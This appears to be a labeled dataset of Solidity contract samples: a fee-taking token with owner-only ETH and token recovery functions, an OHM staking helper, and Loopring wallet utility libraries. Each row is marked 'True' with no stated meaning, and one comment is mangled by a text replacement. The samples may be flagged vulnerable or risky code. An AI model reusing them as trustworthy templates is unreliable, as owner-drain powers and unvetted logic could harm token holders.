_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);}
feeAmount = amount.mul(getTotalFee()).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function swapBackInitial() internal swapping {
uint256 amountToLiquify = balanceOf(address(this)).mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
}
function justinCaseofClog()external authorized{
swapBackInitial();
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/5);
}
function launchModeStatus() external view returns(bool) {
return launchMode();
}
function launchMode() internal view returns(bool) {
return launchedAt !=0 && launchedAt + 5 < block.number && launchedTime + 30 minutes >= block.timestamp ;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IStaking {
function stake( uint _amount, address _recipient ) external returns ( bool );
function claim( address _recipient ) external;
}
contract StakingHelper {
address public immutable staking;
address public immutable OHM;
constructor ( address _staking, address _OHM ) {
require( _staking != address(0) );
staking = _staking;
require( _OHM != address(0) );
OHM = _OHM;
}
function stake( uint _amount ) external {
IERC20( OHM ).transferFrom( msg.sender, address(this), _amount );
IERC20( OHM ).approve( staking, _amount );
IStaking( staking ).stake( _amount, msg.sender );
IStaking( staking ).claim( msg.sender );
}
} | True | [
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// SPDX-License-Identifier: Apache-2.0
// Copyright 2017 Loopring Technology Limited.
pragma solidity ^0.7.0;
/// @title Ownable
/// @author Brecht Devos - <[email protected]>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
/// @title AddressSet
/// @author Daniel Wang - <[email protected]>
contract AddressSet
{
struct Set
{
address[] addresses;
mapping (address => uint) positions;
uint count;
}
mapping (bytes32 => Set) private sets;
function addAddressToSet(
bytes32 key,
address addr,
bool maintainList
) internal
{
Set storage set = sets[key];
require(set.positions[addr] == 0, "ALREADY_IN_SET");
if (maintainList) {
require(set.addresses.length == set.count, "PREVIOUSLY_NOT_MAINTAILED");
set.addresses.push(addr);
} else {
require(set.addresses.length == 0, "MUST_MAINTAIN");
}
set.count += 1;
set.positions[addr] = set.count;
}
function removeAddressFromSet(
bytes32 key,
address addr
)
internal
{
Set storage set = sets[key];
uint pos = set.positions[addr];
require(pos != 0, "NOT_IN_SET");
delete set.positions[addr];
set.count -= 1;
if (set.addresses.length > 0) {
address lastAddr = set.addresses[set.count];
if (lastAddr != addr) {
set.addresses[pos - 1] = lastAddr;
set.positions[lastAddr] = pos;
}
set.addresses.pop();
}
}
function removeSet(bytes32 key)
internal
{
delete sets[key];
}
function isAddressInSet(
bytes32 key,
address addr
)
internal
view
returns (bool)
{
return sets[key].positions[addr] != 0;
}
function numAddressesInSet(bytes32 key)
internal
view
returns (uint)
{
Set storage set = sets[key];
return set.count;
}
function addressesInSet(bytes32 key)
internal
view
returns (address[] memory)
{
Set storage set = sets[key];
require(set.count == set.addresses.length, "NOT_MAINTAINED");
return sets[key].addresses;
}
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <[email protected]>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract OwnerManagable is Claimable, AddressSet
{
bytes32 internal constant MANAGER = keccak256("__MANAGED__");
event ManagerAdded (address manager);
event ManagerRemoved(address manager);
modifier onlyManager
{
require(isManager(msg.sender), "NOT_MANAGER");
_;
}
modifier onlyOwnerOrManager
{
require(msg.sender == owner || isManager(msg.sender), "NOT_OWNER_OR_MANAGER");
_;
}
constructor() Claimable() {}
/// @dev Gets the managers.
/// @return The list of managers.
function managers()
public
view
returns (address[] memory)
{
return addressesInSet(MANAGER);
}
/// @dev Gets the number of managers.
/// @return The numer of managers.
function numManagers()
public
view
returns (uint)
{
return numAddressesInSet(MANAGER);
}
/// @dev Checks if an address is a manger.
/// @param addr The address to check.
/// @return True if the address is a manager, False otherwise.
function isManager(address addr)
public
view
returns (bool)
{
return isAddressInSet(MANAGER, addr);
}
/// @dev Adds a new manager.
/// @param manager The new address to add.
function addManager(address manager)
public
onlyOwner
{
addManagerInternal(manager);
}
/// @dev Removes a manager.
/// @param manager The manager to remove.
function removeManager(address manager)
public
onlyOwner
{
removeAddressFromSet(MANAGER, manager);
emit ManagerRemoved(manager);
}
function addManagerInternal(address manager)
internal
{
addAddressToSet(MANAGER, manager, true);
emit ManagerAdded(manager);
}
}
/// @title DataStore
/// @dev Modules share states by accessing the same storage instance.
/// Using ModuleStorage will achieve better module decoupling.
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
abstract contract DataStore
{
modifier onlyWalletModule(address wallet)
{
require(Wallet(wallet).hasModule(msg.sender), "UNAUTHORIZED");
_;
}
}
// Taken from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/SafeCast.sol
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint40 from uint256, reverting on
* overflow (when the input is greater than largest uint40).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 40 bits
*/
function toUint40(uint256 value) internal pure returns (uint40) {
require(value < 2**40, "SafeCast: value doesn\'t fit in 40 bits");
return uint40(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// Copyright 2017 Loopring Technology Limited.
library Data
{
// Optimized to fit into 32 bytes (1 slot)
struct Guardian
{
address addr;
uint16 group;
uint40 validSince;
uint40 validUntil;
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for uint
/// @author Daniel Wang - <[email protected]>
library MathUint
{
function mul(
uint a,
uint b
)
internal
pure
returns (uint c)
{
c = a * b;
require(a == 0 || c / a == b, "MUL_OVERFLOW");
}
function sub(
uint a,
uint b
)
internal
pure
returns (uint)
{
require(b <= a, "SUB_UNDERFLOW");
return a - b;
}
function add(
uint a,
uint b
)
internal
pure
returns (uint c)
{
c = a + b;
require(c >= a, "ADD_OVERFLOW");
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title WalletRegistry
/// @dev A registry for wallets.
/// @author Daniel Wang - <[email protected]>
interface WalletRegistry
{
function registerWallet(address wallet) external;
function isWalletRegistered(address addr) external view returns (bool);
function numOfWallets() external view returns (uint);
}
/*
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <[email protected]>
*
* @dev Functionality in this library is largely implemented using an
* abstraction called a 'slice'. A slice represents a part of a string -
* anything from the entire string to a single character, or even no
* characters at all (a 0-length slice). Since a slice only has to specify
* an offset and a length, copying and manipulating slices is a lot less
* expensive than copying and manipulating the strings they reference.
*
* To further reduce gas costs, most functions on slice that need to return
* a slice modify the original one instead of allocating a new one; for
* instance, `s.split(".")` will return the text up to the first '.',
* modifying s to only contain the remainder of the string after the '.'.
* In situations where you do not want to modify the original slice, you
* can make a copy first with `.copy()`, for example:
* `s.copy().split(".")`. Try and avoid using this idiom in loops; since
* Solidity has no memory management, it will result in allocating many
* short-lived slices that are later discarded.
*
* Functions that return two slices come in two versions: a non-allocating
* version that takes the second slice as an argument, modifying it in
* place, and an allocating version that allocates and returns the second
* slice; see `nextRune` for example.
*
* Functions that have to copy string data will return strings rather than
* slices; these can be cast back to slices for further processing if
* required.
*
* For convenience, some functions are provided with non-modifying
* variants that create a new slice and return both; for instance,
* `s.splitNew('.')` leaves s unmodified, and returns two values
* corresponding to the left and right parts of the string.
*/
/* solium-disable */
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (uint256(self) & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (uint256(self) & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (uint256(self) & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (uint256(self) & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (uint256(self) & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-terminated utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to kblock.timestamp whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = uint256(-1); // 0xffff...
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
